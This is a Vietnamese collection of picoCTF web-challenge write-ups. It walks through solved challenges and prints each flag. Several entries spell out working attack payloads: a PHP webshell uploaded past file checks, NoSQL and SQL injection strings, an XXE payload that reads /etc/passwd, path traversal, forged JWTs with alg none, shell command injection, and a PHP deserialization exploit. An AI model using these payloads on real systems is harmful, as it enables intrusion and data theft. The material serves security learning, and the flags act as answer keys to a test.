Author: Nana Ama Atombo-Sackey
Do you know how to use the web inspector?\
Hints
Use the web inspector on other files included by the web page.
The flag may or may not be encoded
Truy cập vào URL của thử thách, chúng ta thấy một trang web như sau:
Nhấn chọn "ABOUT" và Inspect thì thấy có chuỗi cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMDJjZGNiNTl9
nằm trong attribute notify_true
. Chuỗi đó có khả năng là flag được mã hóa:
Sử dụng CyberChef, chúng ta có thể nhận được flag từ chuỗi Base64:
picoCTF{web_succ3ssfully_d3c0ded_02cdcb59}
Author: Jeffery John
I don't like scrolling down to read the code of my website, so I've squished it. As a bonus, my pages load faster!\
Hints
Try CTRL+U / ⌘+U in your browser to view the page source. You can also add 'view-source:' before the URL, or try
curl <URL>
in your shell.
Minification reduces the size of code, but does not change its functionality.
What tools do developers use when working on a website? Many text editors and browsers include formatting.
Vào thử thách, chúng ta có trang web sau:
Xem HTML source code, chúng ta lụm được flag:
picoCTF{pr3tty_c0d3_743d0f9b}
Author: Nana Ama Atombo-Sackey & Sabine Gisagara
Hints
Try using burpsuite to intercept request to capture the flag.
Try mangling the request, maybe their server-side code doesn't handle malformed requests very well.
Chúng ta có một trang web đơn giản cho phép đăng ký tài khoản:
Nhập vào thông tin và đăng ký thử:
Sau khi nhấn "Register", chúng ta được chuyển đến trang xác thực 2FA, yêu cầu nhập OTP:
Chúng ta không biết mã OTP là gì nhưng nếu đổi tham số otp
thành otp[]
sẽ bypass thành công và nhận được flag:
picoCTF{#0TP_Bypvss_SuCc3$S_2e80f1fd}
Author: Jeffery John
Why search for the flag when I can make a bookmarklet to print it for me?
Hints
A bookmarklet is a bookmark that runs JavaScript instead of loading a webpage. What happens when you click a bookmarklet? Web browsers have other ways to run JavaScript too.
Vào thử thách, chúng ta có một đoạn code JavaScript:
Copy đoạn code đó và paste vào tab Console để thực thi, chúng ta nhận được flag:
picoCTF{p@g3_turn3r_18d2fa20}
Author: LT 'syreal' Jones
Can you get the flag?
Hints
How is the password checked on this website?
Bắt đầu thử thách, chúng ta có một trang web như sau:
Đăng nhập thử với tài khoản admin:admin
nhưng không thành công:
Khi xem HTML source code sẽ thấy có file secure.js
:
Truy cập vào file secure.js
, chúng ta thấy tài khoản của admin là admin:strongPassword098765
:
Đăng nhập với tài khoản trên, chúng ta có được flag:
picoCTF{j5_15_7r4n5p4r3n7_b0c2c9cb}
Author: LT 'syreal' Jones
Can you get the flag?
Hints
What is the web inspector in web browsers?
Vào thử thách, chúng ta có trang web sau:
Sau khi xem HTML source code, chúng ta sẽ thấy phần comment chứa flag:
picoCTF{1n5p3t0r_0f_h7ml_fd5d57bd}
Author: LT 'syreal' Jones
Can you get the flag?
Hints
Is there more code than what the inspector initially shows?
Chúng ta có một trang web như sau:
Khi nhấn "Say hello", một alert xuất hiện nói code này ở một file khác, gợi ý sự tồn tại của một file JavaScript:
Xem HTML source code, chúng ta sẽ thấy có 2 files là style.css
và script.js
:
Vào file style.css
, chúng ta thấy phần đầu của flag:
Và vào file script.js
, chúng ta lấy được phần flag còn lại:
picoCTF{1nclu51v17y_1of2_f7w_2of2_6edef411}
Author: madStacks
Who doesn't love cookies? Try to figure out the best one.
http://mercury.picoctf.net:21485/
Vào URL của thử thách, chúng ta có một trang web như sau:
Nhập luôn chuỗi snickerdoodle
và nhấn "Search" thì chúng ta vẫn chưa thấy flag đâu:
Chúng ta được cấp một cookie name=0
:
Nếu chúng ta sửa 0
thành 1
vẫn không có flag:
Vậy, chúng ta sẽ sử dụng Burp Intruder để brute-force tìm ra con số phù hợp:
"Start attack" và sau chốc lát chờ đợi, với name=18
, chúng ta có được flag:
picoCTF{3v3ry1_l0v3s_c00k135_94190c8a}
Author: madStacks
There is some interesting information hidden around this site http://mercury.picoctf.net:39698/. Can you find it?
Hints
You should have enough hints to find the files, don't run a brute forcer.
Vào URL của thử thách, chúng ta có một trang web như sau:
Xem HTML source code, chúng ta lấy được phần thứ nhất của flag:
Vào file mycss.css
, chúng ta lấy được phần thứ hai:
Ở file myjs.js
, phần comment đề cập tới Google, gợi ý trang web có file robots.txt
:
Vào file robots.txt
, chúng ta lụm được phần ba của flag:
Do ở trong file robots.txt
có đề cập đến server Apache và từ Access
được viết hoa chữ cái A
nên chúng ta nghĩ tới có file .htaccess
. Truy cập vào, chúng ta lấy được phần thứ tư:
Ở file .htaccess
đề cập đến Mac
và từ Store
lại được viết hoa chữ cái đầu nên chúng ta sẽ truy cập vào file .DS_Store
(một file ẩn mà Finder tự động tạo trong các thư mục để lưu trữ thông tin hiển thị của thư mục đó), lụm được phần cuối của flag:
picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_fa04427c}
Author: madStacks
Find the flag being held on this server to get ahead of the competition http://mercury.picoctf.net:34561/
Hints
Maybe you have more than 2 choices
Check out tools like Burpsuite to modify your requests and look at the responses
Vào URL của thử thách, chúng ta có trang web cho phép lựa chọn màu sắc đỏ hoặc xanh:
Nhấn "Choose Blue" thì màu nền sẽ đổi thành xanh nhưng không có gì đặc biệt:
Tuy nhiên, theo tên của thử thách là GET aHEAD
với GET
và HEAD
được viết in hoa, chúng ta có thể nghĩ tới việc thay đổi request method.
Gửi request với method HEAD
, chúng ta lụm thành công flag:
picoCTF{r3j3ct_th3_du4l1ty_8f878508}
Author: Alex Fulton/Danny
Can you break into this super secure portal? https://jupiter.challenges.picoctf.org/problem/29835/ or http://jupiter.challenges.picoctf.org:29835
Hints
Never trust the client
Vào URL của thử thách, chúng ta có một trang web để nhập credentials:
Khi xem HTML source code, chúng ta sẽ có các mảnh của flag, công việc bây giờ là cần ghép chúng lại sao cho phù hợp:
picoCTF{no_clients_plz_7723ce}
Author: bobson
The factory is hiding things from all of its users. Can you login as Joe and find what they've been looking at? https://jupiter.challenges.picoctf.org/problem/13594/ or http://jupiter.challenges.picoctf.org:13594
Hints
Hmm it doesn't seem to check anyone's password, except for Joe's?
Vào URL của thử thách, chúng ta có một trang web cho phép đăng nhập:
Chúng ta có thể đăng nhập thành công với tài khoản admin:admin
:
Vẫn chưa thấy flag, kiểm tra sẽ có một cookie admin
với giá trị False
được chỉ định:
Vậy, chúng ta sẽ sửa giá trị của cookie admin
thành True
:
Tải lại trang web và chúng ta thấy được flag:
picoCTF{th3_c0nsp1r4cy_l1v3s_d1c24fef}
Author: zaratec/danny
Kishor Balan tipped us off that the following code may need inspection: https://jupiter.challenges.picoctf.org/problem/44924/ or http://jupiter.challenges.picoctf.org:44924
Hints
How do you inspect web code on a browser?
There's 3 parts
Vào URL, chúng ta có một trang web đơn giản:
Xem HTML source code, chúng ta thấy phần thứ nhất của flag:
Truy cập vào file mycss.css
, chúng ta lụm được phần thứ hai:
Và phần thứ ba của flag nằm ở trong file myjs.js
:
picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?f10be399}
Author: zaratec/Danny
Can you find the robots? https://jupiter.challenges.picoctf.org/problem/36474/ or http://jupiter.challenges.picoctf.org:36474
Hints
What part of the website could tell you where the creator doesn't want you to look?
Vào thử thách, chúng ta thấy trang web sau:
Nó hỏi robots
ở đâu nên chúng ta có thể nghĩ tới trang web có file robots.txt
. Truy cập vào, chúng ta thấy một file 477ce.html
được chỉ định:
Vào file 477ce.html
, chúng ta lụm được flag:
picoCTF{ca1cu1at1ng_Mach1n3s_477ce}
Author: Junias Bonou
I found a web app that can help process images: PNG images only!
Vào URL của thử thách, chúng ta có một trang web cho phép tải lên file:
Thử tải lên một file ảnh để kiểm tra:
File chúng ta tải lên sẽ được lưu ở uploads
:
Bên dưới là POST request khi chúng ta tải lên file. Chú ý response headers, chúng ta thấy server Apache với PHP phiên bản 8.0.30:
Vậy chúng ta sẽ tải lên một webshell PHP với tên shell.php
. Thêm payload sau vào nội dung file để có thể thực hiện RCE:
<?=`$_GET[0]`?>
Gửi request, chúng ta thấy thông báo lỗi tên file không chứa .png
:
Chúng ta có thể bypass bằng cách sử dụng tên file là shell.png.php
. Tuy nhiên, lại có một thông báo lỗi mới là file không phải ảnh PNG hợp lệ:
Do đó, chúng ta sẽ thêm PNG
vào nội dung file để bypass và tải lên webshell thành công:
Giờ truy cập tới /uploads/shell.png.php?0
, chúng ta có thể thực thi lệnh.
Với lệnh ls ..
, chúng ta thấy có một file đáng nghi là GQ4DOOBVMMYGK.txt
:
Đọc file đó với lệnh cat ../G*
, chúng ta lụm flag thành công:
picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_48785c0e}
Author: NGIRIMANA Schadrack
Can you try to get access to this website to get the flag? You can download the source here.
Hints
Not only SQL injection exist but also NonSQL injection exists.
Make sure you look at everything the server is sending back.
Chúng ta có một trang web cho phép đăng nhập:
Cùng phân tích source code được cung cấp để hiểu rõ cách thực hoạt động của trang web:
.
├── admin.html
├── index.html
├── package.json
└── server.js
Ở file server.js
là code xử lý của server:
const express = require("express");
const bodyParser = require("body-parser");
const mongoose = require("mongoose");
const { MongoMemoryServer } = require("mongodb-memory-server");
const path = require("path");
const crypto = require("crypto");
const app = express();
const port = process.env.PORT | 3000;
// Middleware to parse JSON data
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
// User schema and model
const userSchema = new mongoose.Schema({
email: { type: String, required: true, unique: true },
firstName: { type: String, required: true },
lastName: { type: String, required: true },
password: { type: String, required: true },
token: { type: String, required: false, default: "{{Flag}}" },
});
const User = mongoose.model("User", userSchema);
// Initialize MongoMemoryServer and connect to it
async function startServer() {
try {
const mongoServer = await MongoMemoryServer.create();
const mongoUri = mongoServer.getUri();
await mongoose.connect(mongoUri);
// Store initial user
const initialUser = new User({
firstName: "pico",
lastName: "player",
email: "picoplayer355@picoctf.org",
password: crypto.randomBytes(16).toString("hex").slice(0, 16),
});
await initialUser.save();
// Serve the HTML form
app.get("/", (req, res) => {
res.sendFile(path.join(__dirname, "index.html"));
});
// Serve the admin page
app.get("/admin", (req, res) => {
res.sendFile(path.join(__dirname, "admin.html"));
});
// Handle login form submission with JSON
app.post("/login", async (req, res) => {
const { email, password } = req.body;
try {
const user = await User.findOne({
email:
email.startsWith("{") && email.endsWith("}")
? JSON.parse(email)
: email,
password:
password.startsWith("{") && password.endsWith("}")
? JSON.parse(password)
: password,
});
if (user) {
res.json({
success: true,
email: user.email,
token: user.token,
firstName: user.firstName,
lastName: user.lastName,
});
} else {
res.json({ success: false });
}
} catch (err) {
res.status(500).json({ success: false, error: err.message });
}
});
app.listen(port, () => {
});
} catch (err) {
console.error(err);
}
}
startServer().catch((err) => console.error(err));
Để lấy được flag, chúng ta cần phải đăng nhập thành công vào email picoplayer355@picoctf.org
. Tuy nhiên, chúng ta lại không biết mật khẩu của người dùng này bởi nó được tạo ngẫu nhiên.
Chúng ta cần tập trung vào đoạn code xử lý tại route /login
:
app.post("/login", async (req, res) => {
const { email, password } = req.body;
try {
const user = await User.findOne({
email:
email.startsWith("{") && email.endsWith("}")
? JSON.parse(email)
: email,
password:
password.startsWith("{") && password.endsWith("}")
? JSON.parse(password)
: password,
});
if (user) {
res.json({
success: true,
email: user.email,
token: user.token,
firstName: user.firstName,
lastName: user.lastName,
});
} else {
res.json({ success: false });
}
} catch (err) {
res.status(500).json({ success: false, error: err.message });
}
});
Trong trường hợp giá trị của tham số email
hoặc password
mà bắt đầu với {
và kết thúc với }
thì nó sẽ được chuyển thành object
bởi hàm JSON.parse()
. Cộng thêm việc server sử dụng mongoose
nên đó chính là điều kiện lý tưởng để khai thác lỗi NoSQL Injection.
Do đó, chúng ta sẽ có thể sử dụng payload sau để gửi request. Thực hiện đăng nhập với điều kiện email
là picoplayer355@picoctf.org
và password
không phải là xxx
:
{
"email":"picoplayer355@picoctf.org",
"password":"{\"$ne\":\"xxx\"}"
}
Gửi request và lụm thành công flag:
picoCTF{jBhD2y7XoNzPv_1YxS9Ew5qL0uI6pasql_injection_25ba4de1}
Author: Geoffrey Njogu
The web project was rushed and no security assessment was done. Can you read the /etc/passwd file?
Hints
XML external entity Injection
Vào URL của thử thách, chúng ta có trang web sau:
Khi nhấn "Details", chúng ta thấy một thông báo xuất hiện ở phía dưới:
Kiểm tra request, chúng ta sẽ thấy đó là một POST request với dữ liệu XML được gửi đi trong body:
Chúng ta có thể nghĩ ngay tới việc khai thác lỗ hổng XXE. Theo như mô tả, mục tiêu của chúng ta là đọc file /etc/passwd
nên sử dụng payload sau:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abc [<!ENTITY etc SYSTEM 'file:///etc/passwd'>]>
<data>
<ID>
&etc;
</ID>
</data>
Gửi đi request, chúng ta thấy flag nằm trong response:
picoCTF{XML_3xtern@l_3nt1t1ty_e5f02dbf}
Author: Mubarak Mikail
Can you find the flag on this website.
Hints
SQLiLite
Chúng ta có một trang web cho phép đăng nhập như sau:
Thử đăng nhập với tài khoản admin:admin
, chúng ta thấy trang web hiển thị ra câu truy vấn SQL:
Có thể thấy cả 2 giá trị mà chúng ta nhập đang được truyền thẳng vào trong cặp dấu '
.
Lỗi server 500 khi chúng ta thực hiện đăng nhập với thông tin sai:
Chúng ta sẽ khai thác SQL Injection với payload cơ bản sau để khiến điều kiện ở mệnh đề WHERE
đúng:
username=admin&password=' OR 1=1--
Gửi request, chúng ta lấy được flag:
picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_62aa7500}
Author: Sunday Jacob Nwanyim
How about trying to match a regular expression
Hints
Access the webpage and try to match the regular expression associated with the text field
Chúng ta có một trang web cho phép nhập vào dữ liệu:
Nhập thử "a", chúng ta nhận thông báo kết quả không khớp:
Xem đoạn code JavaScript bên dưới, chúng ta có thể hiểu là server sẽ cho phép nhập vào một chuỗi regex, nếu nó có thể khớp với chuỗi flag thì chúng ta nhận được flag:
Vậy nhập vào đoạn regex picoCTF{.*}
với .*
để khớp tất cả các ký tự ngoại trừ dấu xuống dòng, chúng ta có thể lụm flag:
picoCTF{succ3ssfully_matchtheregex_2375af79}
Author: Geoffrey Njogu
Help us test the form by submiting the username as
test
and password astest!
Hints
any redirections?
Chúng ta có một trang web cho phép nhập vào thông tin tài khoản để kiểm tra:
Sau khi đăng nhập với tài khoản test:test!
được đề cập trong mô tả, chúng ta thấy rằng bị redirect mấy lần và tới trang sau:
Kiểm tra HTTP history trong Burp Suite, chúng ta thấy flag được chia thành 2 phần và mã hóa Base64 rồi truyền tới tham số id
, bên dưới là phần đầu:
Và phần cuối của flag:
picoCTF{proxies_all_the_way_a0fe074f}
Author: Mubarak Mikail
Can you login to this website?
Hints
admin
is the user you want to login as.
Truy cập vào URL của thử thách, chúng ta thấy một giao diện đăng nhập như sau:
Mục tiêu của chúng ta là đăng nhập với người dùng admin
, thử đăng nhập với tài khoản admin:admin
, chúng ta thấy thông báo đăng nhập thất bại kèm theo câu truy vấn xuất hiện:
Cả tên người dùng và mật khẩu đều được truyền vào cặp dấu '
nên có thể khai thác SQL Injection tại đây.
Chúng ta sẽ chỉ cần nhập tên người dùng là admin'--
để bypass thành công:
Đã đăng nhập thành công nhưng flag ở đâu?
Xem HTML source code, chúng ta thấy flag:
picoCTF{L00k5_l1k3_y0u_solv3d_it_d3c660ac}
Author: Mubarak Mikail / LT 'syreal' Jones
Connect to this PostgreSQL server and find the flag!
psql -h saturn.picoctf.net -p 62220 -U postgres pico
Password ispostgres
Chúng ta sẽ sử dụng luôn webshell trên pico để chạy lệnh kết nối tới PostgreSQL server.
Lệnh xem các bảng trong database hiện tại:
\dt
Lấy tất cả các bản ghi từ bảng flags
với câu truy vấn:
SELECT * FROM flags;
picoCTF{L3arN_S0m3_5qL_t0d4Y_31fd14c0}
Author: Geoffrey Njogu
We have several pages hidden. Can you find the one with the flag?
Hints
folders folders folders
Vào thử thách, chúng ta có trang web sau:
Xem HTML source code, chúng ta thấy có một đường dẫn đáng nghi secret/assets/DX1KYM.jpg
:
Khi gửi request tới /secret/
, chúng ta lại thấy có thư mục hidden
:
Gửi request tới /secret/hidden/
, chúng ta thấy có thư mục tiếp theo là superhidden
:
Và khi request tới /secret/hidden/superhidden/
, chúng ta lụm thành công flag:
picoCTF{succ3ss_@h3n1c@10n_39849bcf}
Author: Mubarak Mikail
The developer of this website mistakenly left an important artifact in the website source, can you find it?
Hints
How could you mirror the website on your local machine so you could use more powerful tools for searching?
Chúng ta có trang web như sau:
Xem HTML source code, chúng ta đi vào file css/style.css
sẽ thấy có flag:
picoCTF{1nsp3ti0n_0f_w3bpag3s_8de925a7}
Author: Mubarak Mikail
The flag is somewhere on this web application not necessarily on the website. Find it.
Vào URL của thử thách, chúng ta có một trang web như sau:
Truy cập vào file robots.txt
, chúng ta thấy có một đoạn chuỗi Base64 khả nghi. Khi decode thì thấy đường dẫn js/myfile.txt
:
Truy cập tới js/myfile.txt
, chúng ta có thể lấy flag thành công:
picoCTF{Who_D03sN7_L1k5_90B0T5_718c9043}
Author: LT 'syreal' Jones
Can you get the flag?
Hints
Do you know how to modify cookies?
Vào thử thách, chúng ta có trang web đơn giản sau:
Khi nhấn "Continue as guest", chúng ta nhận một lời xin lỗi:
Nếu kiểm tra cookies, chúng ta sẽ thấy có cookie isAdmin
với giá trị 0
:
Vậy chúng ta sẽ đổi 0
thành 1
:
Tải lại trang web, chúng ta nhận được flag:
picoCTF{gr4d3_A_c00k13_5d2505be}
Author: LT 'syreal' Jones
Can you get the flag? We know that the website files live in
/usr/share/nginx/html/
and the flag is at/flag.txt
but the website is filtering absolute file paths. Can you get past the filter to read the flag?
Vào thử thách, chúng ta có trang web cho phép đọc file:
Đọc thử file
oliver-twist.txt
:
Bên dưới là POST request tới /read.php
để thực hiện đọc file:
Chúng ta thử thay đổi giá trị của tham số filename
thành /etc/passwd
để đọc file này. Tuy nhiên, không thể đọc được:
Đúng theo mô tả, chúng ta không được sử dụng đường dẫn tuyệt đối để đọc file.
Vậy chúng ta có thể bypass bằng cách sử dụng ../
:
Và đọc flag thành công với payload:
../../../flag.txt
picoCTF{7h3_p47h_70_5ucc355_e5fe3d4d}
Author: Geoffrey Njogu
Most web application developers use third party components without testing their security. Some of the past affected companies are:
- Equifax (a US credit bureau organization) - breach due to unpatched Apache Struts web framework CVE-2017-5638
- Mossack Fonesca (Panama Papers law firm) breach - unpatched version of Drupal CMS used
- VerticalScope (internet media company) - outdated version of vBulletin forum software used
Can you identify the components and exploit the vulnerable one?
The website is running here. Can you become an admin?
You can login astest
with the passwordTest123!
to get started.Hints
Use the web browser tools to check out the JWT cookie.
The JWT should always have two (2) . separators.
Vào thử thách, chúng ta có một trang web cho phép đăng nhập như sau:
Đăng nhập thành công với tài khoản được cung cấp test:Test123!
nhưng không thấy có gì xuất hiện:
Chúng ta kiểm tra request tới /private
, thấy có một cookie token
là JWT:
Xem trong phần payload của chuỗi JWT có chứa "role":"user"
:
Theo như mô tả cũng như tìm kiếm thông tin liên quan, chúng ta xác định có thể khai thác JWT sử dụng None Algorithm.
Trước tiên, thay giá trị của "role"
thành "admin"
:
Chúng ta đổi giá trị của "alg"
thành "none"
:
Xóa đi phần signature nhưng cần giữ lại dấu .
ở cuối:
Cuối cùng, gửi request chúng ta thấy flag:
picoCTF{succ3ss_@u7h3nt1c@710n_72bf8bd5}
Author: BrownieInMotion
Now presenting cowsay as a service
Vào thử thách, chúng ta có một trang web sau:
Phân tích source code được cung cấp, chúng ta nhận thấy ngay lỗ hổng OS Command Injection tồn tại ở tham số message
trong path. Giá trị của tham số message
được truyền vào làm đối số của lệnh /usr/games/cowsay
:
...
app.get('/cowsay/:message', (req, res) => {
exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
if (error) return res.status(500).end();
res.type('txt').send(stdout).end();
});
});
...
Vậy chúng ta sẽ sử dụng payload $(ls)
, xác định được có file falg.txt
ở thư mục hiện tại:
Đọc file đó với payload $(cat${IFS}falg.txt)
, trong payload này, chúng ta dùng ${IFS}
để tránh khoảng trắng khiến lệnh không thể thực thi:
Ngoài ra, chúng ta cũng có thể sử dụng một số payload khác:
picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o}
My dog-sitter's brother made this website but I can't get in; can you help?
Vào URL của thử thách, chúng ta có trang web cho phép đăng nhập như sau:
Tuy nhiên, nếu xem HTML source code, chúng ta sẽ thấy có một file index.js
:
Nội dung file index.js
sẽ như sau:
(async () => {
await new Promise((e) => window.addEventListener("load", e)),
document.querySelector("form").addEventListener("submit", (e) => {
e.preventDefault();
const r = { u: "input[name=username]", p: "input[name=password]" },
t = {};
for (const e in r)
t[e] = btoa(document.querySelector(r[e]).value).replace(/=/g, "");
return "YWRtaW4" !== t.u
? alert("Incorrect Username")
: "cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ" !== t.p
? alert("Incorrect Password")
: void alert(`Correct Password! Your flag is ${atob(t.p)}.`);
});
})();
Decode Base64 chuỗi cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ
, chúng ta có được flag:
picoCTF{53rv3r_53rv3r_53rv3r_53rv3r_53rv3r}
Try to recover the flag stored on this website
http://mercury.picoctf.net:25395/
Hints
The flag is at ../flag
Vào URL của thử thách, chúng ta thấy giao diện web cho phép đăng nhập:
Khi truy cập vào file robots.txt
, chúng ta thấy admin.phps
được chỉ định:
Tuy nhiên, khi vào admin.phps
lại nhận được dòng chữ "Not Found":
Vậy, sẽ ra sao nếu chúng ta đổi admin
thành index
? Chúng ta có thể đọc được nội dung của file index.phps
:
Từ đoạn code trên, chúng ta thấy server có file cookie.php
. Nếu đăng nhập thành công là guest hoặc admin, object $perm_res
sẽ được serialized và mã hoá Base64 rồi gán cho cookie login
. Sau đó, điều hướng tới authentication.php
:
<?php
require_once("cookie.php");
if (isset($_POST["user"]) && isset($_POST["pass"])) {
$con = new SQLite3("../users.db");
$username = $_POST["user"];
$password = $_POST["pass"];
$perm_res = new permissions($username, $password);
if ($perm_res->is_guest() || $perm_res->is_admin()) {
setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
header("Location: authentication.php");
die();
} else {
$msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
}
}
Quay lại truy cập vào authentication.phps
để xem được nội dung file code. Tại đó, có một class access_log
có khả năng đọc file khi object thuộc class này được sử dụng như string:
File cookie.phps
có nội dung như sau:
<?php
session_start();
class permissions {
public $username;
public $password;
function __construct($u, $p) {
$this->username = $u;
$this->password = $p;
}
function __toString() {
return $u . $p;
}
function is_guest() {
$guest = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if ($rest["username"]) {
if ($rest["admin"] != 1) {
$guest = true;
}
}
return $guest;
}
function is_admin() {
$admin = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if ($rest["username"]) {
if ($rest["admin"] == 1) {
$admin = true;
}
}
return $admin;
}
}
if (isset($_COOKIE["login"])) {
try {
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
$g = $perm->is_guest();
$a = $perm->is_admin();
} catch (Error $e) {
die("Deserialization error. " . $perm);
}
}
Chúng ta thấy tại đoạn code dưới tồn tại lỗ hổng PHP Deserialization. Giá trị của cookie login
ở dạng Base64 được truyền vào hàm unserialize()
.
Để ý object $perm
được truy cập như string ở hàm die("Deserialization error. " . $perm);
trong trường hợp xảy ra lỗi. Do đó, ý tưởng của chúng ta là chỉ thực hiện serialize object thuộc class access_log
. Để khi object $perm
được tạo ra sau quá trình unserialize()
sẽ không có method is_guest()
. Từ đó, truy cập vào $perm->is_guest();
sẽ xảy ra lỗi và nhảy xuống khối catch
:
if (isset($_COOKIE["login"])) {
try {
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
$g = $perm->is_guest();
$a = $perm->is_admin();
} catch (Error $e) {
die("Deserialization error. " . $perm);
}
}
Vậy, chúng ta sẽ viết đoạn code dưới để tạo payload. Chúng ta đặt giá trị của attribute $log_file
là ../flag
để khi object này được truy cập như string nó sẽ gọi tới hàm read_log()
và đọc được file ../flag
:
<?php
class access_log {
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
}
$obj = new access_log("../flag");
echo base64_encode(serialize($obj));
// TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
Thêm chuỗi vừa tạo vào cookie login
và gửi request tới /authentication.php
, chúng ta có thể đọc được flag:
picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_405f4c0e}